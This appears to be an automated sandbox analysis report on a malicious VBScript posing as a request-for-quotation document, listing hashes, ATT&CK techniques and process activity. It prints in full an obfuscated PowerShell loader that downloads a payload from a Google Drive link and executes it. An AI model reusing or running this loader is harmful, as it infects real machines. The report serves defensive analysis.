08397cf6fd972e74c1be43021f5af0e60a031844b92d196b2e9f356e15eb4d12

General

Target

Request for Quotation MK FMHS.RFQ.10.24.vbs
Size

29KB
MD5

4e4a0cf55522747307400f46995c785c
SHA1

6fba2e0b4fa0ada0c8d8a55a50b5e05e5a4668c1
SHA256

08397cf6fd972e74c1be43021f5af0e60a031844b92d196b2e9f356e15eb4d12
SHA512

71b1014af85207fa1e722238a10dc6511a01527eba1d75d3ce5ee166be83a704043772170572d659206f0f9e48ab56cdbcaedf979c42357a3f8dca3f83b8f174
SSDEEP

384:e5vxs5Mrgr9603OFTxLasx9I98I5xyeQAB+4vkpz215y5aYPVit:e5vxM9TOFTUsxi8CyTXQLWtit

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
3	768	WScript.exe
7	2704	powershell.exe
9	2704	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2704	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
6	drive.google.com
7	drive.google.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2704	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2704	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 768 wrote to memory of 2704	768	WScript.exe	30
PID 768 wrote to memory of 2704	768	WScript.exe	30
PID 768 wrote to memory of 2704	768	WScript.exe	30

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Request for Quotation MK FMHS.RFQ.10.24.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:768
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Underskrid tidsplans Daunton Paaklistrede forfra Samlerens Administrator #>;$Busing='Fritog';<#Forestillingskredsene Flintglassets Sphaeristeria #>;$Rottegiftenes=$Rundsaves+$host.UI;function Friktion($Apogaeic){If ($Rottegiftenes) {$Forkrppe++;}$Gossipingly=$Sevrdigheden+$Apogaeic.'Length'-$Forkrppe; for( $Nondefined=5;$Nondefined -lt $Gossipingly;$Nondefined+=6){$Sbladens++;$Fernambuck+=$Apogaeic[$Nondefined];$Nationaliteternes='Jagende';}$Fernambuck;}function Goutish($Repairmen){ . ($Gangarealer) ($Repairmen);}$Looplet=Friktion 'BlodkML thooHacenzKommii othelConnelDysphaMo ar/Ferru ';$Looplet+=Friktion ',erio5 .ene.,irst0 Aofa Befol( Gi lWFje niPreffnExptldAn eroE.stew GloesBereg P romN yslT Outt Churc1Usual0Rustn.Count0selsk;Kroku F arWDeseri ompan Bren6Capac4Sup.r;Unmol Omfo.xL vel6Unaff4 Epic; Flin D ditrAktiovExha :Off.c1 i,du3I lac1Vanda. Amat0 Puga)Perle Sna,jGSplineEmigrcSkvetkAkemboLenie/strop2Sub i0Fiske1Verds0Carya0Nim,l1Co,in0Maski1 Shop A.terFskinki bechrSelere FingfHol no.anolx ntra/Ka,ne1U aff3skums1Skriv.Formu0 Unde ';$Pajernes=Friktion 'KlapjUCafndsUnacceTra wRMoabi-DivinA BreagAdelseBrndenSkismT tink ';$Extrafine=Friktion 'Irroth chiftUbesvtStethp oncos lud:to al/Uncon/ grapdHakkerHypocivenalv Ha.le Ko m.Nonp gPrepooSygdooWell gPredil ntiteLandh.DraftcclonooSe.iumstu,i/UnfrouLouiscRe,re?SchooeMolybxLoyalpFo,kvoBilagrPhilotGiant=FootpdDjvleoGuil,wJagtdnBrystlJuxt.o njoiaProgrdBjerg&,eroni BarddKnyst=beske1Nones4bellymLandfCSen,uVM.noeXSa.mepHje tn RaadOStatiNge fd3Da hnOTendeX Ge,f5uk uk9.mmersInt gfH moc0 ,paceSuba,8KrakkcAmm cN,olhjGFremsoP,ofe5 sumpJChamp1AlignlNonrel Unw 6P gonsNummeeCrawl1Typ l ';$Poliosis=Friktion 'Sp.ci>Penta ';$Gangarealer=Friktion 'VirksIImpenEEds,oX ham ';$Renders='Sude';$misfortolkninger='\Preguess.Sem';Goutish (Friktion ' egiv$Afsi gGuid lEteocoScho,b ibwaMisruLBrain:Jugl mSnooteQuinitUrmagaSpndiCTorgui StroSrudimmSk bsuWurlesWings=Nooke$TilbaeUn ernimmanvPlast:SammeAPa tepAnkr.p A biDSh rta WeirTBon lA ort+Propa$S.irrMCirk IOutp sBrtsef AfseoMelder ubteTFreezOGr ntLDraffkUnb.unUnderi rillN AfsnGO dboEbolomr Pneu ');Goutish (Friktion 'Gran,$mahogGGynaeLNedbrOTriodB LensA OrycLTepar:Gy,namW rkii akubSZulukD FultEVirges enerc hvilR iscoiUnsarbValnde Hun RO.ker= Nos.$ EchieUgelnxMoan,t MyogrSkideaanalef Fin I NonmnRyghve Teat.AfkomSW step s ecLWaughIPrvettTreti(Scree$MicroPHleriojoaprLNaturIHve oOB tatSFlaarisnobbSSubmi)Tampo ');Goutish (Friktion 'Komp.[Cin,aNMisfoE s peT Skot.Sko sSMorgeESupe,r RingVMisteiNonexCLivsfeUpploP BrugOAccepI ngornDiambt DissM.torkAHe acnLol,ua AlarG ImpaE Un eRFlles] An,i: Led :,ubasSTypolEtabulcLymphUA gorr,efteiUdsputSeignYBrug.p SemeR IldeOPolemtUndraoForstcRiddeotrapalUnsp M,ksi=Stult Befs[BrndeN LandeP stbtEpok..HelbrsBihuleSlyngcRolleUSkiffRChub,iIronbtChaffY.dnvnpDepotR ParroPuritTGetliOu orsCAnt.co P ntlFejlktMoseoYS,adsP UnwieOpg v] ropo:Pant,:AccustKodifL ilttSUdst 1Talri2Salon ');$Extrafine=$Misdescriber[0];$Nonresistiveness=(Friktion ' darm$ uccog F otlKag doKniplb eaanATr.plL ujon: Komakantico sp nddelayeManorKScin S hiloEblot,RTinsesVarer= ArsenHy eiEaetioW maur-P.ojeOJenbrbHjrefJ,asoseIgangcLowertTread L coms TundySynags dsortBenziESk pimfu,fu.BaskeNS.essEForkuT misk.A benW Jor EA.modBteleoc engrLsubs.I Fat,eHup oN Cip,TDocke ');Goutish ($Nonresistiveness);Goutish (Friktion ' .cce$Dobbeksoleno DiskdV.diaeInterktripls Dol eSnakkrUterlsEt ge.RetsmHIntereBanesaBrkagdRimene oibwrUn.lusKrsan[ Lyst$MatemPFavaga elekjTookee Vrg,rErst nCoulieGehr sTrbe,]Sa ba=Lever$OplgrLEmpo,oMargioMnstepSkjullMastueLoftstServi ');$Handlock=Friktion 'Ellev$EndoskCathoo CecoddecaseKrtegkTre.isGaleyeBre.yrnorm.sSvind.Ov raDEchogo.everwSulc.nUppe,lGrandoPhysia.visadMockeFSaliniRen,el Calle.elat(Betle$DefilEApproxPersptscrolrBndela Mic fTjeriic.stunFejlmeDefa ,Fors $ TndeWRestrhLoegniVaar.tSammeeScolilH iveiSpn in Or deRoman)Folke ';$Whiteline=$Metacismus;Goutish (Friktion 'Lacun$ M,nig Enc lCrustoOprikBYdervA A.ieLFremd: LeneLUintaeBl,ahvC arrESiegedVvestyKv vagBestrtCountiAfskrg lykE Cine=Overs(Ud rtTTr chENonstsIn.amtcurta- BortpAddreASkamsTAlkohh Brmm Propa$ GobbW SemihPothoI Exp TArkivEadfrdLRussiIRe isnJokereFor.m)Xanth ');while (!$Levedygtige) {Goutish (Friktion 'Skriv$ ightgStrmnlEpochoImitabLongwa Blufl Xeno: VitrFSprj r.enataCar agIrkesaLauroa St,d=Phala$I agit Tid rThermuCorcheM,ljt ') ;Goutish $Handlock;Goutish (Friktion 'Mi imsUudtmtFlat.AV rkerStavet Anal-Vis iSRu soLMisspEBorgeE NonrpPal,m Pr.li4forfl ');Goutish (Friktion ' Envi$ ictGGippoLDicepOGemysB ReteAPa alLBed i:UnthiL BotoE FoalvApparE .ithDS ereyPeriogMe,int,jensi PumpGParabeSteg.=Endow(sev,dtSheareKnowesP.rtaT C,vi-MobilpMusikaligemthal khudhng Subti$SceptWPlanlHFo taiMisfoT SlagERegneLCarnaITotalNStar ePre o)Stabi ') ;Goutish (Friktion 'Midit$brugigMethelRes lo rmwpB Dis aBrugelT.lda:ExotiiBestrNSymbiTPolitE Distn Unf sBliveiBrillFA.oreyLinieiExcitnKr,beGMa su= .iag$ allgRestol ,lskoNaturbUmbraaUmagelDiffu:ThymiDViduniBagskAPentaL CejaO ,akoNBibitiUdstrASpelbNIsaco2Devit4New a+ ede+ Apop%Baseb$CrevemAnse iFu ursKuttaDOxypheRaadgSVen acVetoiR,elieiMicroBEndemeCloa RPuriv.St.mncFindeOElsdyuFiskenFobskTSansc ') ;$Extrafine=$Misdescriber[$Intensifying];}$Peritoneums=287836;$Wastable=31186;Goutish (Friktion ' Ydel$TragiGGttelLH andoVarebB rinca DebilThroa:FejlbBIndd,rFuguenSarcaDTera E SheknSubtel BrutD.onfeeUnhelnLuigi2D dde5Mongr1Undes uncr=Satyr UncapG MiniERipostKnast-ArchicLeonooVillaNOmegntCuld.eDerivn nuseT Fana Circu$Choopw KaraH GaffIStr.gtForhoEEucallBiaseiPi.heN Handeledni ');Goutish (Friktion 'Trakd$FriezgEmulglBalano DudibQuadrarovsglInvas: Tr.aTAfterjCirkeeUnbennStatset,omisSkyrstIchtheAnthomLim iaNatbon,dlgndrhabds ewilSkkevoIsopovBeslaeUddatnAutoe1Bghjo8.ipsd1Pikep Inst=Witta Demol[BrabaSdiskpyHunkssRenuntAmtsleRestamR dyp.Hu.usC SlidoEgenpn DiadvKbteseMacarrrepanturokk]Month:Dksbl:.vejsF ellurStilbo D momB.adtB N,eraRigsbsAfvu.eDes l6Api i4ElevtS IndttPh sprDouseiCrocendove.g V.st(Musik$ L stBToperrurolynUncondOceanecablenUnilal Suppd CruceVe stnInspa2Ha te5Spir 1Borta)subfr ');Goutish (Friktion 'efter$Raw pGTasselBil.iOBdecaBMagirALe edlDeter: Ufors cybaKOleomrU.aadICentgv A.taE SilkP rophuDrmaaLOmstyTAfmatEAntiks Ured writh=O,der Mar.n[InspisUmpywyK.ldsSSa metTraktEP ancMDrift. ZabaTFyndiea calxSlo aTpolic.pralee Fi,mNDraciCVr igO godsd AfteI psenn TwodGThreo] Raad:Armga:ArbejA ubecsLyriccProspI TnkeIlodt.. dataG rdseECatfiT nswaSKal.nTSemulR N ukifor rn MezeGgl ni( ihrd$EntenTNi.otj Mil,EThermNUnejeespjttSatridTBe reESknheMS etiaLarrenVe bydRev,rSKuledl .ndeOscenavTwillETestenu der1Kltr 8Undet1Synod) ycos ');Goutish (Friktion 'headp$RnnesgMundelRelikODef lB Un.gAsubcoL Chas:Albi.OCentrRIndfabSyvene StvslOrsedLopist1 Hy e=Bl,ar$FicklSU cerkLb hjRIn aliLig ev .ermeFarvePV ggeU UdebLkodnit ModsEUn mbsPrin,.Bese.SGlabrUspli,bDioleSAnthrtSlagmR brugiAma oN egioGPlas (Rekre$ BodiP Pre,efiddlrAnskuI.inyltEnochOMrkvrNStartEDebatuspadoMFngsesGasli, Po y$Fila.w bag,aStrumSForsgTPubliArevelB,ondil.atcheHjert)Afpud ');Goutish $Orbell1;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2704

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Cab98D8.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
memory/2704-20-0x000007FEF60AE000-0x000007FEF60AF000-memory.dmp

Filesize
4KB

Download
memory/2704-22-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

Filesize
9.6MB

Download
memory/2704-21-0x000000001B570000-0x000000001B852000-memory.dmp

Filesize
2.9MB

Download
memory/2704-23-0x0000000002240000-0x0000000002248000-memory.dmp

Filesize
32KB

Download
memory/2704-24-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

Filesize
9.6MB

Download
memory/2704-25-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

Filesize
9.6MB

Download
memory/2704-26-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

Filesize
9.6MB

Download
memory/2704-27-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

Filesize
9.6MB

Download
memory/2704-29-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

Filesize
9.6MB

Download
memory/2704-31-0x000007FEF60AE000-0x000007FEF60AF000-memory.dmp

Filesize
4KB

Download
memory/2704-32-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing